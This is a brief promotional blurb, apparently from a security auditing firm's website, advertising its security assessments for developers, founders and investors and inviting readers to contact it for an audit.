Developers, founders, and investors trust our security assessments to ship quickly, confidently, and without critical vulnerabilities. With our background in real-world offensive security research, we find what others miss.
Contact us↗ for an audit that’s better than the rest. Real audits, not rubber stamps.